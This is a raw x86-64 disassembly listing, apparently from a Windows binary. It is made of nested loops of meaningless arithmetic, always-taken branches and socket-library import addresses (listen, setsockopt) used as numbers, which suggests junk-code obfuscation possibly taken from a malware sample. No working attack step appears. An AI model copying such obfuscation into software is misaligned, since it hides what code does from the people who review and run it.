cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x8c], eax
jmp 0x140180eca
mov eax, dword [rsp + 0xa84]
sub eax, 2
mov dword [rsp + 0xa84], eax
cmp dword [rsp + 0xa84], 0
jg 0x140180ebf
jmp 0x140180da9
mov eax, dword [rsp + 0xa88]
dec eax
mov dword [rsp + 0xa88], eax
cmp dword [rsp + 0xa88], 0
jg 0x140180d9c
mov dword [rsp + 0xa8c], 0
jmp 0x140180f5f
mov eax, dword [rsp + 0xa8c]
inc eax
mov dword [rsp + 0xa8c], eax
cmp dword [rsp + 0xa8c], 5
jge 0x1401810ca
mov dword [rsp + 0xa90], 0x2a
mov dword [rsp + 0x6e8], 0
jmp 0x140180f95
mov eax, dword [rsp + 0x6e8]
inc eax
mov dword [rsp + 0x6e8], eax
cmp dword [rsp + 0x6e8], 4
jge 0x140181044
mov eax, dword [rsp + 0x6e8]
add eax, 2
mov dword [rsp + 0x1f0], eax
mov eax, dword [rsp + 0x1f0]
inc eax
mov dword [rsp + 0x1f0], eax
cmp dword [rsp + 0x1f0], 7
jne 0x140181031
mov dword [rsp + 0x90], Ordinal_79
cmp dword [rsp + 0x90], 0
jle 0x140181013
mov eax, dword [rsp + 0x90]
sub eax, 5
mov dword [rsp + 0x90], eax
cmp dword [rsp + 0x90], 0xa
jne 0x140181011
mov eax, dword [rsp + 0x90]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x90], eax
jmp 0x140180fd9
mov eax, dword [rsp + 0x1f0]
imul eax, dword [rsp + 0xa90]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0x114c], eax
cmp dword [rsp + 0x1f0], 0xb
jl 0x140180fb4
jmp 0x140180f85
cmp dword [rsp + 0xa90], 0x14
jle 0x1401810c5
mov eax, dword [rsp + 0xa90]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xa94], eax
mov dword [rsp + 0x94], Ordinal_79
cmp dword [rsp + 0x94], 0
jle 0x1401810aa
mov eax, dword [rsp + 0x94]
sub eax, 5
mov dword [rsp + 0x94], eax
cmp dword [rsp + 0x94], 0xa
jne 0x1401810a8
mov eax, dword [rsp + 0x94]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x94], eax
jmp 0x140181070
mov eax, dword [rsp + 0xa94]
sub eax, 2
mov dword [rsp + 0xa94], eax
cmp dword [rsp + 0xa94], 0
jg 0x140181065
jmp 0x140180f4f
jmp 0x1401809e1
xor eax, eax
test eax, eax
je 0x14018222b
xor eax, eax
test eax, eax
je 0x140181987
mov dword [rsp + 0xa98], 0
jmp 0x140181100
mov eax, dword [rsp + 0xa98]
inc eax
mov dword [rsp + 0xa98], eax
cmp dword [rsp + 0xa98], 5
jge 0x140181982
mov dword [rsp + 0xab4], 0x3f
mov dword [rsp + 0x6ec], 0
jmp 0x140181136
mov eax, dword [rsp + 0x6ec]
inc eax
mov dword [rsp + 0x6ec], eax
cmp dword [rsp + 0x6ec], 9
jge 0x14018156e
mov eax, dword [rsp + 0x6ec]
add eax, 7
mov dword [rsp + 0x20c], eax
mov eax, dword [rsp + 0x20c]
add eax, 4
mov dword [rsp + 0x20c], eax
cmp dword [rsp + 0x20c], 0x15
jne 0x14018155b
mov dword [rsp + 0xa9c], 0
jmp 0x140181191
mov eax, dword [rsp + 0xa9c]
inc eax
mov dword [rsp + 0xa9c], eax
cmp dword [rsp + 0xa9c], 5
jge 0x14018135a
mov dword [rsp + 0xaa0], 0x11
mov dword [rsp + 0x6f0], 0
jmp 0x1401811c7
mov eax, dword [rsp + 0x6f0]
inc eax
mov dword [rsp + 0x6f0], eax
cmp dword [rsp + 0x6f0], 3
jge 0x1401812a2
mov eax, dword [rsp + 0x6f0]
inc eax
mov dword [rsp + 0x1f8], eax
mov eax, dword [rsp + 0x1f8]
inc eax
mov dword [rsp + 0x1f8], eax
cmp dword [rsp + 0x1f8], 4
jne 0x14018128f
mov dword [rsp + 0x1f4], reloc.WS2_32.dll_listen
mov dword [rsp + 0x6f4], 0
jmp 0x14018122b
mov eax, dword [rsp + 0x6f4]
inc eax
mov dword [rsp + 0x6f4], eax
cmp dword [rsp + 0x6f4], 4
jge 0x140181274
mov eax, dword [rsp + 0x6f4]
mov ecx, dword [rsp + 0x1f4]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1f4], eax
mov eax, dword [rsp + 0x1f4]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181272
imul eax, dword [rsp + 0x1f4], 3
mov dword [rsp + 0x1f4], eax
jmp 0x14018121b
mov eax, dword [rsp + 0x1f8]
imul eax, dword [rsp + 0xaa0]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1150], eax
cmp dword [rsp + 0x1f8], 6
jl 0x1401811e5
jmp 0x1401811b7
cmp dword [rsp + 0xaa0], 0xa
jle 0x140181355
mov eax, dword [rsp + 0xaa0]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xaa4], eax
mov dword [rsp + 0x1fc], reloc.WS2_32.dll_listen
mov dword [rsp + 0x6f8], 0
jmp 0x1401812ee
mov eax, dword [rsp + 0x6f8]
inc eax
mov dword [rsp + 0x6f8], eax
cmp dword [rsp + 0x6f8], 4
jge 0x140181337
mov eax, dword [rsp + 0x6f8]
mov ecx, dword [rsp + 0x1fc]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x1fc], eax
mov eax, dword [rsp + 0x1fc]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181335
imul eax, dword [rsp + 0x1fc], 3
mov dword [rsp + 0x1fc], eax
jmp 0x1401812de
mov eax, dword [rsp + 0xaa4]
dec eax
mov dword [rsp + 0xaa4], eax
cmp dword [rsp + 0xaa4], 0
jg 0x1401812c6
jmp 0x140181181
mov eax, dword [rsp + 0x20c]
imul eax, dword [rsp + 0xab4]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1154], eax
mov dword [rsp + 0xaa8], 0
jmp 0x140181392
mov eax, dword [rsp + 0xaa8]
inc eax
mov dword [rsp + 0xaa8], eax
cmp dword [rsp + 0xaa8], 5
jge 0x14018155b
mov dword [rsp + 0xaac], 0x11
mov dword [rsp + 0x6fc], 0
jmp 0x1401813c8
mov eax, dword [rsp + 0x6fc]
inc eax
mov dword [rsp + 0x6fc], eax
cmp dword [rsp + 0x6fc], 3
jge 0x1401814a3
mov eax, dword [rsp + 0x6fc]
inc eax
mov dword [rsp + 0x204], eax
mov eax, dword [rsp + 0x204]
inc eax
mov dword [rsp + 0x204], eax
cmp dword [rsp + 0x204], 4
jne 0x140181490
mov dword [rsp + 0x200], reloc.WS2_32.dll_listen
mov dword [rsp + 0x700], 0
jmp 0x14018142c
mov eax, dword [rsp + 0x700]
inc eax
mov dword [rsp + 0x700], eax
cmp dword [rsp + 0x700], 4
jge 0x140181475
mov eax, dword [rsp + 0x700]
mov ecx, dword [rsp + 0x200]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x200], eax
mov eax, dword [rsp + 0x200]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181473
imul eax, dword [rsp + 0x200], 3
mov dword [rsp + 0x200], eax
jmp 0x14018141c
mov eax, dword [rsp + 0x204]
imul eax, dword [rsp + 0xaac]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1158], eax
cmp dword [rsp + 0x204], 6
jl 0x1401813e6
jmp 0x1401813b8
cmp dword [rsp + 0xaac], 0xa
jle 0x140181556
mov eax, dword [rsp + 0xaac]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xab0], eax
mov dword [rsp + 0x208], reloc.WS2_32.dll_listen
mov dword [rsp + 0x704], 0
jmp 0x1401814ef
mov eax, dword [rsp + 0x704]
inc eax
mov dword [rsp + 0x704], eax
cmp dword [rsp + 0x704], 4
jge 0x140181538
mov eax, dword [rsp + 0x704]
mov ecx, dword [rsp + 0x208]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x208], eax
mov eax, dword [rsp + 0x208]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181536
imul eax, dword [rsp + 0x208], 3
mov dword [rsp + 0x208], eax
jmp 0x1401814df
mov eax, dword [rsp + 0xab0]
dec eax
mov dword [rsp + 0xab0], eax
cmp dword [rsp + 0xab0], 0
jg 0x1401814c7
jmp 0x140181382
cmp dword [rsp + 0x20c], 0x23
jl 0x140181155
jmp 0x140181126
cmp dword [rsp + 0xab4], 0x28
jle 0x140181797
mov eax, dword [rsp + 0xab4]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xac4], eax
mov dword [rsp + 0xab8], 0
jmp 0x1401815af
mov eax, dword [rsp + 0xab8]
inc eax
mov dword [rsp + 0xab8], eax
cmp dword [rsp + 0xab8], 5
jge 0x140181778
mov dword [rsp + 0xabc], 0x11
mov dword [rsp + 0x708], 0
jmp 0x1401815e5
mov eax, dword [rsp + 0x708]
inc eax
mov dword [rsp + 0x708], eax
cmp dword [rsp + 0x708], 3
jge 0x1401816c0
mov eax, dword [rsp + 0x708]
inc eax
mov dword [rsp + 0x214], eax
mov eax, dword [rsp + 0x214]
inc eax
mov dword [rsp + 0x214], eax
cmp dword [rsp + 0x214], 4
jne 0x1401816ad
mov dword [rsp + 0x210], reloc.WS2_32.dll_listen
mov dword [rsp + 0x70c], 0
jmp 0x140181649
mov eax, dword [rsp + 0x70c]
inc eax
mov dword [rsp + 0x70c], eax
cmp dword [rsp + 0x70c], 4
jge 0x140181692
mov eax, dword [rsp + 0x70c]
mov ecx, dword [rsp + 0x210]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x210], eax
mov eax, dword [rsp + 0x210]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181690
imul eax, dword [rsp + 0x210], 3
mov dword [rsp + 0x210], eax
jmp 0x140181639
mov eax, dword [rsp + 0x214]
imul eax, dword [rsp + 0xabc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x115c], eax
cmp dword [rsp + 0x214], 6
jl 0x140181603
jmp 0x1401815d5
cmp dword [rsp + 0xabc], 0xa
jle 0x140181773
mov eax, dword [rsp + 0xabc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xac0], eax
mov dword [rsp + 0x218], reloc.WS2_32.dll_listen
mov dword [rsp + 0x710], 0
jmp 0x14018170c
mov eax, dword [rsp + 0x710]
inc eax
mov dword [rsp + 0x710], eax
cmp dword [rsp + 0x710], 4
jge 0x140181755
mov eax, dword [rsp + 0x710]
mov ecx, dword [rsp + 0x218]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x218], eax
mov eax, dword [rsp + 0x218]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181753
imul eax, dword [rsp + 0x218], 3
mov dword [rsp + 0x218], eax
jmp 0x1401816fc
mov eax, dword [rsp + 0xac0]
dec eax
mov dword [rsp + 0xac0], eax
cmp dword [rsp + 0xac0], 0
jg 0x1401816e4
jmp 0x14018159f
mov eax, dword [rsp + 0xac4]
sub eax, 2
mov dword [rsp + 0xac4], eax
cmp dword [rsp + 0xac4], 0
jg 0x140181592
mov dword [rsp + 0xac8], 0
jmp 0x1401817b4
mov eax, dword [rsp + 0xac8]
inc eax
mov dword [rsp + 0xac8], eax
cmp dword [rsp + 0xac8], 5
jge 0x14018197d
mov dword [rsp + 0xacc], 0x11
mov dword [rsp + 0x714], 0
jmp 0x1401817ea
mov eax, dword [rsp + 0x714]
inc eax
mov dword [rsp + 0x714], eax
cmp dword [rsp + 0x714], 3
jge 0x1401818c5
mov eax, dword [rsp + 0x714]
inc eax
mov dword [rsp + 0x220], eax
mov eax, dword [rsp + 0x220]
inc eax
mov dword [rsp + 0x220], eax
cmp dword [rsp + 0x220], 4
jne 0x1401818b2
mov dword [rsp + 0x21c], reloc.WS2_32.dll_listen
mov dword [rsp + 0x718], 0
jmp 0x14018184e
mov eax, dword [rsp + 0x718]
inc eax
mov dword [rsp + 0x718], eax
cmp dword [rsp + 0x718], 4
jge 0x140181897
mov eax, dword [rsp + 0x718]
mov ecx, dword [rsp + 0x21c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x21c], eax
mov eax, dword [rsp + 0x21c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181895
imul eax, dword [rsp + 0x21c], 3
mov dword [rsp + 0x21c], eax
jmp 0x14018183e
mov eax, dword [rsp + 0x220]
imul eax, dword [rsp + 0xacc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1160], eax
cmp dword [rsp + 0x220], 6
jl 0x140181808
jmp 0x1401817da
cmp dword [rsp + 0xacc], 0xa
jle 0x140181978
mov eax, dword [rsp + 0xacc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xad0], eax
mov dword [rsp + 0x224], reloc.WS2_32.dll_listen
mov dword [rsp + 0x71c], 0
jmp 0x140181911
mov eax, dword [rsp + 0x71c]
inc eax
mov dword [rsp + 0x71c], eax
cmp dword [rsp + 0x71c], 4
jge 0x14018195a
mov eax, dword [rsp + 0x71c]
mov ecx, dword [rsp + 0x224]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x224], eax
mov eax, dword [rsp + 0x224]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181958
imul eax, dword [rsp + 0x224], 3
mov dword [rsp + 0x224], eax
jmp 0x140181901
mov eax, dword [rsp + 0xad0]
dec eax
mov dword [rsp + 0xad0], eax
cmp dword [rsp + 0xad0], 0
jg 0x1401818e9
jmp 0x1401817a4
jmp 0x1401810f0
jmp 0x14018222b
mov dword [rsp + 0xad4], 0
jmp 0x1401819a4
mov eax, dword [rsp + 0xad4]
inc eax
mov dword [rsp + 0xad4], eax
cmp dword [rsp + 0xad4], 5
jge 0x14018222b
mov dword [rsp + 0xaf0], 0x5c
mov dword [rsp + 0x720], 0
jmp 0x1401819da
mov eax, dword [rsp + 0x720]
inc eax
mov dword [rsp + 0x720], eax
cmp dword [rsp + 0x720], 6
jge 0x140181e16
mov eax, dword [rsp + 0x720]
add eax, 9
mov dword [rsp + 0x240], eax
mov eax, dword [rsp + 0x240]
add eax, 3
mov dword [rsp + 0x240], eax
cmp dword [rsp + 0x240], 0x18
jne 0x140181e03
mov dword [rsp + 0xad8], 0
jmp 0x140181a35
mov eax, dword [rsp + 0xad8]
inc eax
mov dword [rsp + 0xad8], eax
cmp dword [rsp + 0xad8], 5
jge 0x140181bfe
mov dword [rsp + 0xadc], 0x11
mov dword [rsp + 0x724], 0
jmp 0x140181a6b
mov eax, dword [rsp + 0x724]
inc eax
mov dword [rsp + 0x724], eax
cmp dword [rsp + 0x724], 3
jge 0x140181b46
mov eax, dword [rsp + 0x724]
inc eax
mov dword [rsp + 0x22c], eax
mov eax, dword [rsp + 0x22c]
inc eax
mov dword [rsp + 0x22c], eax
cmp dword [rsp + 0x22c], 4
jne 0x140181b33
mov dword [rsp + 0x228], reloc.WS2_32.dll_listen
mov dword [rsp + 0x728], 0
jmp 0x140181acf
mov eax, dword [rsp + 0x728]
inc eax
mov dword [rsp + 0x728], eax
cmp dword [rsp + 0x728], 4
jge 0x140181b18
mov eax, dword [rsp + 0x728]
mov ecx, dword [rsp + 0x228]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x228], eax
mov eax, dword [rsp + 0x228]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181b16
imul eax, dword [rsp + 0x228], 3
mov dword [rsp + 0x228], eax
jmp 0x140181abf
mov eax, dword [rsp + 0x22c]
imul eax, dword [rsp + 0xadc]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1164], eax
cmp dword [rsp + 0x22c], 6
jl 0x140181a89
jmp 0x140181a5b
cmp dword [rsp + 0xadc], 0xa
jle 0x140181bf9
mov eax, dword [rsp + 0xadc]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xae0], eax
mov dword [rsp + 0x230], reloc.WS2_32.dll_listen
mov dword [rsp + 0x72c], 0
jmp 0x140181b92
mov eax, dword [rsp + 0x72c]
inc eax
mov dword [rsp + 0x72c], eax
cmp dword [rsp + 0x72c], 4
jge 0x140181bdb
mov eax, dword [rsp + 0x72c]
mov ecx, dword [rsp + 0x230]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x230], eax
mov eax, dword [rsp + 0x230]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181bd9
imul eax, dword [rsp + 0x230], 3
mov dword [rsp + 0x230], eax
jmp 0x140181b82
mov eax, dword [rsp + 0xae0]
dec eax
mov dword [rsp + 0xae0], eax
cmp dword [rsp + 0xae0], 0
jg 0x140181b6a
jmp 0x140181a25
mov eax, dword [rsp + 0x240]
imul eax, dword [rsp + 0xaf0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0x1168], eax
mov dword [rsp + 0xae4], 0
jmp 0x140181c3a
mov eax, dword [rsp + 0xae4]
inc eax
mov dword [rsp + 0xae4], eax
cmp dword [rsp + 0xae4], 5
jge 0x140181e03
mov dword [rsp + 0xae8], 0x11
mov dword [rsp + 0x730], 0
jmp 0x140181c70
mov eax, dword [rsp + 0x730]
inc eax
mov dword [rsp + 0x730], eax
cmp dword [rsp + 0x730], 3
jge 0x140181d4b
mov eax, dword [rsp + 0x730]
inc eax
mov dword [rsp + 0x238], eax
mov eax, dword [rsp + 0x238]
inc eax
mov dword [rsp + 0x238], eax
cmp dword [rsp + 0x238], 4
jne 0x140181d38
mov dword [rsp + 0x234], reloc.WS2_32.dll_listen
mov dword [rsp + 0x734], 0
jmp 0x140181cd4
mov eax, dword [rsp + 0x734]
inc eax
mov dword [rsp + 0x734], eax
cmp dword [rsp + 0x734], 4
jge 0x140181d1d
mov eax, dword [rsp + 0x734]
mov ecx, dword [rsp + 0x234]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x234], eax
mov eax, dword [rsp + 0x234]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181d1b
imul eax, dword [rsp + 0x234], 3
mov dword [rsp + 0x234], eax
jmp 0x140181cc4
mov eax, dword [rsp + 0x238]
imul eax, dword [rsp + 0xae8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x116c], eax
cmp dword [rsp + 0x238], 6
jl 0x140181c8e
jmp 0x140181c60
cmp dword [rsp + 0xae8], 0xa
jle 0x140181dfe
mov eax, dword [rsp + 0xae8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xaec], eax
mov dword [rsp + 0x23c], reloc.WS2_32.dll_listen
mov dword [rsp + 0x738], 0
jmp 0x140181d97
mov eax, dword [rsp + 0x738]
inc eax
mov dword [rsp + 0x738], eax
cmp dword [rsp + 0x738], 4
jge 0x140181de0
mov eax, dword [rsp + 0x738]
mov ecx, dword [rsp + 0x23c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x23c], eax
mov eax, dword [rsp + 0x23c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181dde
imul eax, dword [rsp + 0x23c], 3
mov dword [rsp + 0x23c], eax
jmp 0x140181d87
mov eax, dword [rsp + 0xaec]
dec eax
mov dword [rsp + 0xaec], eax
cmp dword [rsp + 0xaec], 0
jg 0x140181d6f
jmp 0x140181c2a
cmp dword [rsp + 0x240], 0x21
jl 0x1401819f9
jmp 0x1401819ca
cmp dword [rsp + 0xaf0], 0x32
jle 0x140182040
mov eax, dword [rsp + 0xaf0]
cdq
and edx, 3
add eax, edx
sar eax, 2
mov dword [rsp + 0xb00], eax
mov dword [rsp + 0xaf4], 0
jmp 0x140181e58
mov eax, dword [rsp + 0xaf4]
inc eax
mov dword [rsp + 0xaf4], eax
cmp dword [rsp + 0xaf4], 5
jge 0x140182021
mov dword [rsp + 0xaf8], 0x11
mov dword [rsp + 0x73c], 0
jmp 0x140181e8e
mov eax, dword [rsp + 0x73c]
inc eax
mov dword [rsp + 0x73c], eax
cmp dword [rsp + 0x73c], 3
jge 0x140181f69
mov eax, dword [rsp + 0x73c]
inc eax
mov dword [rsp + 0x248], eax
mov eax, dword [rsp + 0x248]
inc eax
mov dword [rsp + 0x248], eax
cmp dword [rsp + 0x248], 4
jne 0x140181f56
mov dword [rsp + 0x244], reloc.WS2_32.dll_listen
mov dword [rsp + 0x740], 0
jmp 0x140181ef2
mov eax, dword [rsp + 0x740]
inc eax
mov dword [rsp + 0x740], eax
cmp dword [rsp + 0x740], 4
jge 0x140181f3b
mov eax, dword [rsp + 0x740]
mov ecx, dword [rsp + 0x244]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x244], eax
mov eax, dword [rsp + 0x244]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181f39
imul eax, dword [rsp + 0x244], 3
mov dword [rsp + 0x244], eax
jmp 0x140181ee2
mov eax, dword [rsp + 0x248]
imul eax, dword [rsp + 0xaf8]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1170], eax
cmp dword [rsp + 0x248], 6
jl 0x140181eac
jmp 0x140181e7e
cmp dword [rsp + 0xaf8], 0xa
jle 0x14018201c
mov eax, dword [rsp + 0xaf8]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xafc], eax
mov dword [rsp + 0x24c], reloc.WS2_32.dll_listen
mov dword [rsp + 0x744], 0
jmp 0x140181fb5
mov eax, dword [rsp + 0x744]
inc eax
mov dword [rsp + 0x744], eax
cmp dword [rsp + 0x744], 4
jge 0x140181ffe
mov eax, dword [rsp + 0x744]
mov ecx, dword [rsp + 0x24c]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x24c], eax
mov eax, dword [rsp + 0x24c]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140181ffc
imul eax, dword [rsp + 0x24c], 3
mov dword [rsp + 0x24c], eax
jmp 0x140181fa5
mov eax, dword [rsp + 0xafc]
dec eax
mov dword [rsp + 0xafc], eax
cmp dword [rsp + 0xafc], 0
jg 0x140181f8d
jmp 0x140181e48
mov eax, dword [rsp + 0xb00]
sub eax, 5
mov dword [rsp + 0xb00], eax
cmp dword [rsp + 0xb00], 0
jg 0x140181e3b
mov dword [rsp + 0xb04], 0
jmp 0x14018205d
mov eax, dword [rsp + 0xb04]
inc eax
mov dword [rsp + 0xb04], eax
cmp dword [rsp + 0xb04], 5
jge 0x140182226
mov dword [rsp + 0xb08], 0x11
mov dword [rsp + 0x748], 0
jmp 0x140182093
mov eax, dword [rsp + 0x748]
inc eax
mov dword [rsp + 0x748], eax
cmp dword [rsp + 0x748], 3
jge 0x14018216e
mov eax, dword [rsp + 0x748]
inc eax
mov dword [rsp + 0x254], eax
mov eax, dword [rsp + 0x254]
inc eax
mov dword [rsp + 0x254], eax
cmp dword [rsp + 0x254], 4
jne 0x14018215b
mov dword [rsp + 0x250], reloc.WS2_32.dll_listen
mov dword [rsp + 0x74c], 0
jmp 0x1401820f7
mov eax, dword [rsp + 0x74c]
inc eax
mov dword [rsp + 0x74c], eax
cmp dword [rsp + 0x74c], 4
jge 0x140182140
mov eax, dword [rsp + 0x74c]
mov ecx, dword [rsp + 0x250]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x250], eax
mov eax, dword [rsp + 0x250]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x14018213e
imul eax, dword [rsp + 0x250], 3
mov dword [rsp + 0x250], eax
jmp 0x1401820e7
mov eax, dword [rsp + 0x254]
imul eax, dword [rsp + 0xb08]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1174], eax
cmp dword [rsp + 0x254], 6
jl 0x1401820b1
jmp 0x140182083
cmp dword [rsp + 0xb08], 0xa
jle 0x140182221
mov eax, dword [rsp + 0xb08]
cdq
mov ecx, 3
idiv ecx
mov dword [rsp + 0xb0c], eax
mov dword [rsp + 0x258], reloc.WS2_32.dll_listen
mov dword [rsp + 0x750], 0
jmp 0x1401821ba
mov eax, dword [rsp + 0x750]
inc eax
mov dword [rsp + 0x750], eax
cmp dword [rsp + 0x750], 4
jge 0x140182203
mov eax, dword [rsp + 0x750]
mov ecx, dword [rsp + 0x258]
add ecx, eax
mov eax, ecx
mov dword [rsp + 0x258], eax
mov eax, dword [rsp + 0x258]
cdq
mov ecx, 3
idiv ecx
mov eax, edx
test eax, eax
jne 0x140182201
imul eax, dword [rsp + 0x258], 3
mov dword [rsp + 0x258], eax
jmp 0x1401821aa
mov eax, dword [rsp + 0xb0c]
dec eax
mov dword [rsp + 0xb0c], eax
cmp dword [rsp + 0xb0c], 0
jg 0x140182192
jmp 0x14018204d
jmp 0x140181994
xor eax, eax
cmp eax, 1
je 0x140182fef
xor eax, eax
test eax, eax
je 0x140182919
mov dword [rsp + 0xb10], 0
jmp 0x14018225d
mov eax, dword [rsp + 0xb10]
inc eax
mov dword [rsp + 0xb10], eax
cmp dword [rsp + 0xb10], 5
jge 0x140182914
mov dword [rsp + 0xb2c], 0x33
mov dword [rsp + 0x754], 0
jmp 0x140182293
mov eax, dword [rsp + 0x754]
inc eax
mov dword [rsp + 0x754], eax
cmp dword [rsp + 0x754], 6
jge 0x1401825e5
mov eax, dword [rsp + 0x754]
add eax, 2
mov dword [rsp + 0x274], eax
mov eax, dword [rsp + 0x274]
add eax, 3
mov dword [rsp + 0x274], eax
cmp dword [rsp + 0x274], 0xb
jne 0x1401825d2
mov dword [rsp + 0xb14], 0
jmp 0x1401822ee
mov eax, dword [rsp + 0xb14]
inc eax
mov dword [rsp + 0xb14], eax
cmp dword [rsp + 0xb14], 5
jge 0x140182444
mov dword [rsp + 0xb18], 7
mov dword [rsp + 0x758], 0
jmp 0x140182324
mov eax, dword [rsp + 0x758]
inc eax
mov dword [rsp + 0x758], eax
cmp dword [rsp + 0x758], 2
jge 0x1401823c7
mov eax, dword [rsp + 0x758]
inc eax
mov dword [rsp + 0x260], eax
mov eax, dword [rsp + 0x260]
inc eax
mov dword [rsp + 0x260], eax
cmp dword [rsp + 0x260], 2
jne 0x1401823b8
mov dword [rsp + 0x25c], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x25c]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018238c
mov eax, dword [rsp + 0x25c]
shl eax, 1
mov dword [rsp + 0x25c], eax
jmp 0x14018239d
mov eax, dword [rsp + 0x25c]
add eax, 3
mov dword [rsp + 0x25c], eax
mov eax, dword [rsp + 0x260]
imul eax, dword [rsp + 0xb18]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x1178], eax
cmp dword [rsp + 0x260], 3
jl 0x140182342
jmp 0x140182314
cmp dword [rsp + 0xb18], 5
jle 0x14018243f
mov eax, dword [rsp + 0xb18]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb1c], eax
mov dword [rsp + 0x264], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x264]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x140182414
mov eax, dword [rsp + 0x264]
shl eax, 1
mov dword [rsp + 0x264], eax
jmp 0x140182425
mov eax, dword [rsp + 0x264]
add eax, 3
mov dword [rsp + 0x264], eax
mov eax, dword [rsp + 0xb1c]
dec eax
mov dword [rsp + 0xb1c], eax
cmp dword [rsp + 0xb1c], 0
jg 0x1401823e4
jmp 0x1401822de
mov eax, dword [rsp + 0x274]
imul eax, dword [rsp + 0xb2c]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x117c], eax
mov dword [rsp + 0xb20], 0
jmp 0x14018247c
mov eax, dword [rsp + 0xb20]
inc eax
mov dword [rsp + 0xb20], eax
cmp dword [rsp + 0xb20], 5
jge 0x1401825d2
mov dword [rsp + 0xb24], 7
mov dword [rsp + 0x75c], 0
jmp 0x1401824b2
mov eax, dword [rsp + 0x75c]
inc eax
mov dword [rsp + 0x75c], eax
cmp dword [rsp + 0x75c], 2
jge 0x140182555
mov eax, dword [rsp + 0x75c]
inc eax
mov dword [rsp + 0x26c], eax
mov eax, dword [rsp + 0x26c]
inc eax
mov dword [rsp + 0x26c], eax
cmp dword [rsp + 0x26c], 2
jne 0x140182546
mov dword [rsp + 0x268], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x268]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x14018251a
mov eax, dword [rsp + 0x268]
shl eax, 1
mov dword [rsp + 0x268], eax
jmp 0x14018252b
mov eax, dword [rsp + 0x268]
add eax, 3
mov dword [rsp + 0x268], eax
mov eax, dword [rsp + 0x26c]
imul eax, dword [rsp + 0xb24]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x111c], eax
cmp dword [rsp + 0x26c], 3
jl 0x1401824d0
jmp 0x1401824a2
cmp dword [rsp + 0xb24], 5
jle 0x1401825cd
mov eax, dword [rsp + 0xb24]
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0xb28], eax
mov dword [rsp + 0x270], reloc.WS2_32.dll_setsockopt
mov eax, dword [rsp + 0x270]
cdq
and eax, 1
xor eax, edx
sub eax, edx
test eax, eax
jne 0x1401825a2
mov eax, dword [rsp + 0x270]
shl eax, 1
mov dword [rsp + 0x270], eax
jmp 0x1401825b3
mov eax, dword [rsp + 0x270]
add eax, 3
mov dword [rsp + 0x270], eax
mov eax, dword [rsp + 0xb28]
dec eax
mov dword [rsp + 0xb28], eax
cmp dword [rsp + 0xb28], 0
jg 0x140182572
jmp 0x14018246c
